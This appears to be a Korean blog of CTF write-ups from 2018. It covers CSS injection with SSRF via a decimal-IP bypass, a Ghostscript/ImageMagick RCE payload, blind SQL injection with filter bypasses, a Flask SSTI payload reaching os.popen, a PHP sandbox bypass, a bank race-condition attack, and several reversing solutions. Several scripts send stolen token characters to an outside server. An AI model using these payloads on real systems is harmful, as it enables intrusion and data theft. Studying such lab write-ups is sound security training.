SCTF 2018 dingJMax

2018. 10. 30. 09:43

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

문제에 들어가보면 로그인 및 회원가입 기능이 존재하는데 회원가입 후 로그인을 해보면 아래와 같이 3가지 기능이 존재하며, 이 중 2가지만 사용이 가능하다.

 

 

 

첫번 째 기능을 보면 어드민한테 메시지를 보내는 기능과 메시지를 보내기전 미리보기 기능이 있는데 XSS는 안터진다.

 

이 때 미리보기 기능을 사용할 때 잘 보면 파라미터로 아래와 같이 base64인코딩된 값이 넘어가는데 이 값을 디코딩해보면 아래와 같이 css 값이 나오는 걸 통해 css injection이 터지는걸 알 수 있다.

 

 

base64 decode = span{background-color:red;color:yellow}

 

일단 여기까지는 이걸로 뭔갈 해볼 수 있겠다 싶은게 없었고 다음 기능을 살펴보니 내가 요청한 값을 서버측에서 요청한 뒤 스크린샷을 찍어서 이미지형태로 반환해주는 기능이었다.

 

 

 

여기서 SSRF가 터지겠다 싶었는데 http, https 제외하고 모든 wrapper 사용이 안되었다. http를 통해 뭘해볼까 하다가 처음 기능 중에 로컬에서만 접근 가능한 기능이 존재했던게 생각나 http://127.0.0.1/ 요런식으로 접근해보니 추가적으로 127, ::1, local 도 필터하고 있었다.

근데 이거는 Ip to number Trick으로 우회가 가능해서 아래와 같은 식으로 요청했더니 정상적으로 로컬에서 접근해 비활성화되어있던 기능이 활성화된 것을 볼 수 있었다.

 

bypass = http://2130706433/?user=youngsin1&pass=123456&action=login

 

 

근데 해당 사진만 가지고는 뭘 할 수 있는게 없었다.

 

여기서 Upload image 기능을 사용하기 위해 Css Injection을 사용해주면되는데 Css Injection을 통해 읽어올 수 있는 페이지를 잘 보면 아래와 같이 <input type="hidden" name="csrf" value="2d7e4a5f52f1ec86e7931e"> 요 부분의 값이 현재 로그인한 계정의 세션값과 같다는걸 볼 수 있었다. 

 

이제 위의 두 가지 기능을 통해 로컬에서 접근했을 때의 세션 값을 아래 스크립트를 통해 가져왔다.

 

css_injection_payload_create.py

import base64
import urllib2

strings = "0123456789abcdef"
URL = "http://2130706433/?msg=aaa&action=msgadm2&css="
find_cookie = "62def7a57920dbee757e0d"
css_data = ""
for i in strings:
css_data += """input[name="csrf"][value^="{}"] {{
background: url(http://myserverip/abc.php?x={});
}}
""".format (find_cookie + i, find_cookie + i)

print urllib2.quote((URL + base64.b64encode(css_data.encode('utf-8')).decode('utf-8')))

get local session = 62def7a57920dbee757e0d

 

이제 이 값을 세션 값에 세팅해주면 Upload Image기능을 사용할 수 있는데 이 때 해당 기능을 이용해보면 업로드한 파일을 gif로 convert해주는 기능이 존재한다.

 

 

 

 

convert한다는걸 통해 일단 imagemagick를 사용할 거라 생각했고 관련 페이로드를 찾다보니 최근에 Vulnerabilities in ghostscript and imagemagick 요런식으로 취약점이 나온게 있었다. 문제명에 Ghost가 들어간걸보니 이거다 싶었고 페이로드를 요기서 구해서 사용했다.

https://www.exploit-db.com/exploits/45243/

 

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls) currentdevice putdeviceprops

 

요런식으로 파일에 저장한뒤 업로드한 다음 convert하니 아래와 같이 에러가 터지는걸 통해 rce가 터지는걸 알 수 있었다. 

 

 

 

 

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops

 

 

 

 

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

 


 


Flag = SECCON{CSSinjection+GhostScript/ImageMagickRCE}


'CTF > Writeup' 카테고리의 다른 글

RITSEC CTF 2018 Crazy Train  (0) 2018.11.19
SCTF 2018 dingJMax  (0) 2018.10.30
BSides Delhi CTF 2018 st4t1c  (0) 2018.10.29
BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 바이너리는 헥스레이가 안되서 직접 어셈블리 디버깅하면서 동적분석을 했다.

 

쭉쭉 디버깅하다보면 일단 환경변수로 team_name이라는 변수에 bi0s값이 세팅되어 있어야되고 이 값을 통해 특정로직을 거쳐 0xc라는 값을 만든다. 그 다음 입력값에 대해 홀수,짝수번째 나눠서 간단한 연산을 할 때 위에서 구한 값을 사용한다.

 

대충 아래와 같이 스크립트 짜서 돌려주면 플래그가 나온다.

 

result = "?5b9no=k!5<jW;h7W~b4#|"
a = ""
for i in range(len(result)-1,-1,-1):
if i%2==1:
a += chr((ord(result[i])^0xc)-4)
else:
a += chr((ord(result[i]) ^ 0xc) + 4)
print "Find Flag = " + a
Find Flag = l34rn_7h3_b451c5_f1r57

 

 

'CTF > Writeup' 카테고리의 다른 글

SCTF 2018 dingJMax  (0) 2018.10.30
SECCON 2018 Quals GhostKingdom  (0) 2018.10.29
BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

메인 함수를 보면 간단하게 입력값을 받아서 지역변수에 존재하는 값과 비교를 한다.

 

 

 

근데 strcmp가 custom strcmp라 함수 내부로 들어가보면 아래와 같은 로직으로 이루어져 있고 비교시에 사용하는 key값이 필요하다.

 

 

key값은 아래 함수를 통해 구할 수 있다.

 

 

 

필요한건 다 구했으니 이제 key값을 brute forcing으로 구해주고 구한 값으로 custom strcmp함수 로직에 맞춰 xor 해주는 코드 짜서 돌려주면 플래그가 나온다.

 

a = [97,107,102,96,124,51,116,88,98,51,50,126,88,51,116,88,54,115,88,96,52,115,116,122]
key = 0
result = ""

for i in range(0,25):
if i*(i-14) == -49:
key = i
print "Find Key[*] = " + str(i)
break

for i in range(0,len(a)):
result += chr(a[i]^key)
print result
Find Key[*] = 7
flag{4s_e45y_4s_1t_g3ts}

'CTF > Writeup' 카테고리의 다른 글

SECCON 2018 Quals GhostKingdom  (0) 2018.10.29
BSides Delhi CTF 2018 st4t1c  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

들어가보면 아래와 같이 자바스크립트 내에 암호화된 함수가 존재한다.

 

source


<!DOCTYPE html>

<html>

<head>

<title>Auth3ntication</title>

<script type="text/javascript" src="http://code.jquery.com/jquery-1.11.1.js"></script>


</head>

<body>

<h4>Auth3ntication

</h4>

<hr />


<form action="#" method="post">

<label>Username</label>

<input class="form-control" type="text" name="username" id="cuser" placeholder="Username" />

<label>Password</label>

<input type="password" class="form-control" name="password" id="cpass" placeholder="Password" />

<input type="submit" style="margin-top: 12px;" value="Login" class="form-control btn btn-success c_submit" />

</form>

<script type="text/javascript">

$(".c_submit").click(function(event) {

event.preventDefault();

var u = $("#cpass").val();

var k = $("#cuser").val();

var func = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e";

buf = "";

if(k.length == 9) {

for(i = 0, j = 0; i < func.length; i++) {

c = parseInt(func.charCodeAt(i));

c = c ^ k.charCodeAt(j);

if(++j == k.length) {

j = 0;

}

buf += eval('"' + a(x(c)) + '"');

}

eval(buf);

} else {

$("#cresponse").html("<div class='alert alert-danger'>Invalid creds...</div>");

}

});

function a(h) {

if(h.length != 2) {

h = "\x30" + h;

}

return "\x5c\x78" + h;

}

function x(d) {

if(d < 0) {

d = 0xFFFFFFFF + d + 1;

}

return d.toString(16).toUpperCase();

}

</script>

</div>

<div id="cresponse">

</div>

<hr />

</body>

</html>

 

코드를 보면 9자리의 username을 입력받아서 암호화된 함수와 xor를 한 뒤 이 값을 eval을 통해 실행한다.

 

brute forcing을 해야되는데 최대한 경우의 수를 줄이기위해서 username은 소문자 알파벳,숫자로만 한정지었고 xor를 통해 복호화된 값이 자바스크립트 코드이기 때문에 최대한 사용되지 않을수 있는 문자들이 포함된 경우는 제외해서 username list를 구하도록 했다.

 

 

get_username_list.py
a = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e"
for w in range(1,10):
string_list = "list_"+str(w)+" = ["
for j in range(48,123):
if j>58 and j<97:
continue
result = ""
for k in range(0,len(a)):
if k%9 == w-1:
result += chr(ord(a[k])^j)
status = 1
for i in range(0,len(result)):
if (ord(result[i])<32 and ord(result[i])!=9 and ord(result[i])!=0xa and ord(result[i])!=0xd) or ord(result[i])>126 or result[i]=="@" or result[i]=="`" or result[i]=="[" or result[i]=="]" or result[i]=="|" or result[i]=="&" or result[i]=="*" or result[i]=="%":
#if ord(result[i]) < 33 or ord(result[i]) > 126:
status = 0
break
if status == 1:
string_list += str(j)+","

string_list += "]"
print string_list.replace(",]","]")

result

 

list_1 = [100,101,102,110]
list_2 = [97,99,100,105,106,114,117]
list_3 = [52,109,115]
list_4 = [97,98,115]
list_5 = [56,104,112,118]
list_6 = [52]
list_7 = [48,51,53,54,57,58,99,106,117,118]
list_8 = [48,107,116,119]
list_9 = [53,54]

 

 

위 코드를 통해 구한 list를 통해 brute forcing을 진행해주면 되는데 이 때 결과 값에 존재할 만한 문자열들 (var , func, flag, #cresponse 등)와 같은 문자열들이 포함된 경우 출력해주도록 이것저것 해보니 정상적으로 복호화된 코드가 나왔다.

 

 

decrypt_func.py

a = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e"
list_1 = [100,101,102,110]
list_2 = [97,99,100,105,106,114,117]
list_3 = [52,109,115]
list_4 = [97,98,115]
list_5 = [56,104,112,118]
list_6 = [52]
list_7 = [48,51,53,54,57,58,99,106,117,118]
list_8 = [48,107,116,119]
list_9 = [53,54]
result = ""
for i in range(0,len(list_1)):
for o in range(0, len(list_2)):
for p in range(0, len(list_3)):
for u in range(0, len(list_4)):
for q in range(0,len(list_5)):
for w in range(0, len(list_6)):
for x in range(0, len(list_7)):
for c in range(0, len(list_8)):
for n in range(0, len(list_9)):
result = ""
for j in range(0,len(a)):
if j%9==0:
result += chr(ord(a[j])^list_1[i])
elif j%9==1:
result += chr(ord(a[j]) ^ list_2[o])
elif j % 9 == 2:
result += chr(ord(a[j]) ^ list_3[p])
elif j % 9 == 3:
result += chr(ord(a[j]) ^ list_4[u])
elif j % 9 == 4:
result += chr(ord(a[j]) ^ list_5[q])
elif j % 9 == 5:
result += chr(ord(a[j]) ^ list_6[w])
elif j % 9 == 6:
result += chr(ord(a[j]) ^ list_7[x])
elif j % 9 == 7:
result += chr(ord(a[j]) ^ list_8[c])
elif j % 9 == 8:
result += chr(ord(a[j]) ^ list_9[n])
else:
result += "?"
if "#cresponse" in result.lower():
print "Find Username = " + chr(list_1[i])+chr(list_2[o])+chr(list_3[p])+chr(list_4[u])+chr(list_5[q])+chr(list_6[w])+chr(list_7[x])+chr(list_8[c])+chr(list_9[n])
print result

Result


 

Find Username = dumbh4ck5 if(u == "XorIsNotSooS3cur3") { if(document.location.href.indexOf("?p=") == -1) { document.location = document.location.href + "?p=" + u; } } else { $("#cresponse").html("<div class='error'>Wrong password sorry.")}



password로 XorIsNotSooS3cur3를 넣어주니 플래그가 나왔다.



'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 st4t1c  (0) 2018.10.29
BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 TorPy  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

간단한 Sqli이다.


소스는 아래와 같다.


<?php 

include "./config.php";

include "./flag.php";

error_reporting(0);


$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";

$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

if(preg_match($black_list, $_GET['user'])) exit(":P"); 

if(preg_match($black_list, $_GET['pw'])) exit(":P"); 



$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'"; 


$result = mysql_query($query);

$result = mysql_fetch_array($result);

$admin_pass = mysql_fetch_array(mysql_query("select pw from chal where user='admin'"));

echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";

if($result['user']) echo "<h2>Welcome {$result['user']}</h2>"; 

if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){

    echo $flag;

}


highlight_file(__FILE__); 


?>


일단 필터가 그다지 빡세지가 않아서 \ , ;%00 , left , right, regexp , /**/ , ||, && 요정도 써서 블라인드로 어드민 패스워드 뽑아주면 된다.

 

그다음 user명에 admin을 지정해줄 때 unicode trick으로 admîn 요런식으로 넣어서 bypass해주면 플래그를 구할 수 있다.

 

import requests

def get_password(payload):
url = "http://35.200.215.237/"
params = {'user': '\\','pw':payload}
response = requests.get(url,params=params)
if "Welcome admin" in response.text:
return True
else:
return False

def get_flag(user,password):
url = "http://35.200.215.237/"
params = {'user':user,'pw':password}
response = requests.get(url,params=params)
print response.text


admin_pw = ""
for i in range(1,100):
for j in range(32,128):
if chr(j)=="?" or chr(j)=="*":
continue
payload = "/**/||/**/user/**/regexp/**/0x5e61646d696e24/**/&&/**/right(left(pw,"+str(i)+"),1)/**/regexp/**/"+hex(j)+";\w00"
if get_password(payload) == True:
admin_pw += chr(j)
break
if j==127:
break

get_flag("admîn",admin_pw)




'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 avap  (0) 2018.10.29
BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 WildCat  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 바이너리와 같은 경우 핵스레이가 안되서 gdb로 디버깅하면서 코드 분석을 했다.


먼저 objudmp로 대충 봐보면 섹션이 하나밖에 없고 크기가 작아서 분석하는데 어려움은 없었다.


0000000000400080 <.text>:

  400080: eb 50                 jmp    0x4000d2

  400082: 48 31 c0              xor    rax,rax 

  400085: fe c0                 inc    al

  400087: 48 31 ff              xor    rdi,rdi

  40008a: 48 ff c7              inc    rdi

  40008d: 5e                    pop    rsi

  40008e: b2 2e                 mov    dl,0x2e

  400090: 0f 05                 syscall 

  400092: 2c 2e                 sub    al,0x2e

  400094: ff cf                 dec    edi

  400096: 0f 05                 syscall 

  400098: 48 0f b6 7e 01        movzx  rdi,BYTE PTR [rsi+0x1] 

  40009d: 48 31 3e              xor    QWORD PTR [rsi],rdi

  4000a0: 48 ff c6              inc    rsi

  4000a3: 48 ff ca              dec    rdx

  4000a6: 75 f0                 jne    0x400098 ; 반복문 end

  4000a8: 83 e1 2e              and    ecx,0x2e

  4000ab: 80 c1 26              add    cl,0x26

  4000ae: 48 8d 7e 07           lea    rdi,[rsi+0x7]

  4000b2: 48 8d 77 cb           lea    rsi,[rdi-0x35]

  4000b6: f3 a6                 repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]

  4000b8: 48 85 c9              test   rcx,rcx

  4000bb: 75 49                 jne    0x400106

  4000bd: 34 2f                 xor    al,0x2f

  4000bf: 68 59 61 79 21        push   0x21796159

  4000c4: 48 89 e6              mov    rsi,rsp

  4000c7: b2 04                 mov    dl,0x4

  4000c9: bf 01 00 00 00        mov    edi,0x1

  4000ce: 0f 05                 syscall 

  4000d0: eb 34                 jmp    0x400106

  4000d2: e8 ab ff ff ff        call   0x400082 

  4000d7: 57                    push   rdi

  4000d8: 65 6c                 gs ins BYTE PTR es:[rdi],dx

  4000da: 63 6f 6d              movsxd ebp,DWORD PTR [rdi+0x6d]

  4000dd: 65 20 74 6f 20        and    BYTE PTR gs:[rdi+rbp*2+0x20],dh

  4000e2: 74 68                 je     0x40014c

  4000e4: 69 73 20 43 68 61 6c  imul   esi,DWORD PTR [rbx+0x20],0x6c616843

  4000eb: 6c                    ins    BYTE PTR es:[rdi],dx

  4000ec: 21 20                 and    DWORD PTR [rax],esp

  4000ee: 0a 45 6e              or     al,BYTE PTR [rbp+0x6e]

  4000f1: 74 65                 je     0x400158

  4000f3: 72 20                 jb     0x400115

  4000f5: 74 68                 je     0x40015f

  4000f7: 65 20 4b 65           and    BYTE PTR gs:[rbx+0x65],cl

  4000fb: 79 20                 jns    0x40011d

  4000fd: 74 6f                 je     0x40016e

  4000ff: 20 77 69              and    BYTE PTR [rdi+0x69],dh

  400102: 6e                    outs   dx,BYTE PTR ds:[rsi]

  400103: 3a 20                 cmp    ah,BYTE PTR [rax]

  400105: 00 31                 add    BYTE PTR [rcx],dh

  400107: c0                    (bad)  

  400108: b0 3c                 mov    al,0x3c

  40010a: 0f 05                 syscall 

  40010c: 0a 0d 06 1c 22 38     or     cl,BYTE PTR [rip+0x38221c06]        # 0x38621d18

  400112: 18 26                 sbb    BYTE PTR [rsi],ah

  400114: 36 0f 39              ss (bad) 

  400117: 2b 1c 59              sub    ebx,DWORD PTR [rcx+rbx*2]

  40011a: 42 2c 36              rex.X sub al,0x36

  40011d: 1a 2c 26              sbb    ch,BYTE PTR [rsi+riz*1]

  400120: 1c 17                 sbb    al,0x17

  400122: 2d 39 57 43 01        sub    eax,0x1435739

  400127: 07                    (bad)  

  400128: 2b 38                 sub    edi,DWORD PTR [rax]

  40012a: 09 07                 or     DWORD PTR [rdi],eax

  40012c: 1a 01                 sbb    al,BYTE PTR [rcx]

  40012e: 17                    (bad)  

  40012f: 13 13                 adc    edx,DWORD PTR [rbx]

  400131: 17                    (bad)  

  400132: 2d 39 0a 0d 06        sub    eax,0x60d0a39

  400137: 46 5c                 rex.RX pop rsp

  400139: 7d                    .byte 0x7d



전체적인 흐름은 syscall을 통해 입력 값을 받고 input[i]^input[i+1] 연산을 총 46회 반복한다.


이 값이 특정영역의 값과 같으면 되는데 특정영역의 값은  repz cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 요 명령어 실행 시 rdi 레지스터에 존재하는 주소에서 46 byte 값을 써주면 된다.


로직이 간단해서 코드 짜는건 간단했고 z3로 돌려주니 flag가 나왔다.


from z3 import *


result = [0x0a,0x0d,0x06,0x1c,0x22,0x38,0x18,0x26,0x36,0x0f,0x39,0x2b,0x1c,0x59,0x42,0x2c,0x36,0x1a,0x2c,0x26,0x1c,0x17,0x2d,0x39,0x57,0x43,0x01,0x07,0x2b,0x38,0x09,0x07,0x1a,0x01,0x17,0x13,0x13,0x17,0x2d,0x39,0x0a,0x0d,0x06,0x46,0x5c,0x7d,0x00]

a = []

s = Solver()


for i in range(0,47):

    a.append(BitVec('a['+str(i)+']',8))


for i in range(0,46):

    s.add( (a[i]^a[i+1])==result[i])


flag = ""

while s.check() == z3.sat:

    flag = ""

    m = s.model()

    for i in range(0, 47):

        flag += chr(int(str(m[a[i]])))

    if "flag" in flag:

        print flag

    for i in range(0,47):

        s.add(m[a[i]]!=a[i])



Flag = flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!} 







'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 auth3ntication  (0) 2018.10.29
BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

InCTF 2018 TorPy

CTF/Writeup 2018. 10. 8. 11:05

문제에 들어가보면 별다른 기능은 없고 name파라미터에 값을 넣어서 요청하면 응답 값 주석 내에 해당 값이 출력되는데 여기서 flask SSTI가 터진다.


필터링되어있는 구문을 보면 대충 아래와 같은데 상당히 조건이 까다로웠다.


filter ex) [ , ] , class , builtins , request , attr , app , url_for , config , file 등..


특수문자같은경우 대괄호 제외하고는 필터되는게 없었고 키워드같은경우는 상당히 다양하게 필터가 되어있는 상황이었다.


여러가지 테스트해본 결과 self , __dict__ , get_flashed_messages , session 정도가 필터링이 되지 않고있었는데 실제로 사용해보면 500에러가 터지면서 제대로 사용이 안되었고 추가로 좀 더 삽질을 하다가 getitem이 먹히고 있어서 아래와 같이 적절히 필터우회해서 플래그를 찾았다.


{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('ls%20-al%20/').read()}}


{{globals().__getitem__('__builti''ns__').__getitem__('ev''al')('__imp''ort__')('o''s').__dict__.__getitem__('po''pen')('cat%20/flag').read()}}



'CTF > Writeup' 카테고리의 다른 글

BSides Delhi CTF 2018 Old School SQL  (0) 2018.10.29
Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

InCTF 2018 WildCat

CTF/Writeup 2018. 10. 8. 10:36

해당 문제에 들어가보면 아래와 같은 소스코드를 볼 수 있다.


<?php
error_reporting
(0);
include(
'flag.php');
$message "<img src='cat.jpg' height=400><!-- is_debug -->";

if (isset(
$_GET['is_debug']))
    {
    
highlight_file(__FILE__) and die();
    }
  else
    {
    
$qs $_SERVER['QUERY_STRING'];
    if(!(
substr_count($qs'_') > 0) && !(substr_count($qs'%')> 1))
        {
            
$cmd $_GET['c_m_d'];
            if(!
preg_match('/[a-z0-9]/is'$cmd)){
                
system("/sandboxed_bin/".$cmd);
            }else{
                echo 
$message;
                die();
            }
        }
    echo 
$message;
        die();
    }
?>


php 샌드박스 류의 문제인데 내가 우회해야할 필터는 두가지가 존재했다.


먼저 c_m_d라는 파라미터를 통해 실행할 명령어 문자열 값을 전달해야하는데 QUERY_STRING으로 가져온 값에서 _값을 필터해버린다. 이는 c+m+d요런식으로 파라미터명을 넣어주면 우회가 된다. QUERY_STRING으로 가져왔을때는 c+m+d값이지만 php에서 파라미터명에 +값이 존재하면 이 값을 _로 인식하기때문에 실제로 c_m_d 파라미터로 값을 넣어줄 수 있다.


이제 두번째는 내가 입력한 명령어 값이 non-alphanumering 상태여야 한다. 특문밖에 쓸 수 없는 상황이었는데 일단 /sandboxed_bin/ 디렉토리 내에 존재하는 명령어가 뭔지 몰라 ?를 하나씩 늘려가면서 요청하다보니 ??? 일때만 응답이 엄청 늦게오는걸로 보아서 뭔진 모르지만 3글자 짜리 명령어가 하나이상 존재하는 것 같았다. 단순히 명령어만 들어갔을때는 응답만 엄청 오래걸릴 뿐 명령어실행결과를 따로 볼 수가 없어서 인자로로 ???%20*요런식으로 날려보니 파일 내용이 읽혔다. 그래서 cat 명령어가 먹히고 있구나 생각했꼬 아래와 같은 식으로 파일명을 하나씩 늘려가면서 찾아보니 플래그가 나왔다.



'CTF > Writeup' 카테고리의 다른 글

Hack.lu CTF 2018 BabyReverse  (0) 2018.10.25
InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 S3cur3 Bank  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

InCTF 2018 S3cur3 Bank

CTF/Writeup 2018. 10. 8. 10:36

문제에 들어가보면 아래오 같이 생성한 계정별로 두 개의 계좌에 각각 1000원씩 돈이 입금되어있다. 즉 총 2000원이라는 돈이 존재하는데 문제에서는 flag를 구매하기 위해 5000원이 필요했다. 별다른 웹 취약점들이 존재하지 않지만 두 개의 계좌에서 서로 반대쪽 계좌로 돈을 보낼 때 race condition이 터지면서 돈을 무한대로 충전할 수가 있었다.


대충 아래와 같은 느낌으로 시나리오를 만들어봤다.

1. a 계좌에 0원 b 계좌에 2,000원을 옮겨놓는다.

2. a 계좌에서 b계좌로 100원씩 계속 반복해서 보내는 요청을 약 10개의 스레드로 시도해 놓는다.

3. b 계좌에서 a계좌로 10원씩 계속 반복해서 보내는 요청을 1개의 스레드로 시도해 놓는다.

4. 위의 상황에서 b 계좌에서 a계좌로 10원씩 보낸 금액이 더해져 a계좌 총액이 100원이 되면 정상적인 상태라서는 a 계좌에서 b계좌로 다시 100원만 전송이되어야 함. 

그러나 현재 잔액 확인 -> 금액 전송 -> 현재 잔액에서 보낸 금액 제외라는 3단계 과정에서 우리는 매우 많은 스레드를 통해 a계좌->b계좌 요청을 만들어 놨기 때문에 하나의 요청이 금액 전송 후 현재 잔액에서 보낸 금액을 제외하는 단계까지 가기 전에 다른 요청이 한번 더 현재 잔액확인 -> 금액 전송단계를 밟아서 실제로는 잔액이 100원만 있었는데 200원이 전송되는 형태의 race condition 공격이 가능해짐.


위 시나리오대로 아래와 같이 진행했다.



1) 현재 잔액 a계좌 0원 , b계좌 2000원




2) a계좌에서 b계좌로 300원씩 1,000번 반복해서 보내는 요청을 버프 인트루더로 10개 생성




3) b계좌에서 a계좌로 30원씩 600번 반복해서 보내는 요청을 버프 인트루더로 1개 생성




4) 양쪽 요청이 모두 끝난 후 계좌에 5,000원 이상 금액이 입금되어있는 것을 확인.



5) 충전한 금액으로 플래그를 사면 됨.




'CTF > Writeup' 카테고리의 다른 글

InCTF 2018 TorPy  (0) 2018.10.08
InCTF 2018 WildCat  (0) 2018.10.08
InCTF 2018 The Most Secure File Uploader  (0) 2018.10.08
D-CTF Quals 2018 secops  (0) 2018.09.26
D-CTF Quals 2018 Get Admin  (0) 2018.09.24
블로그 이미지

JeonYoungSin

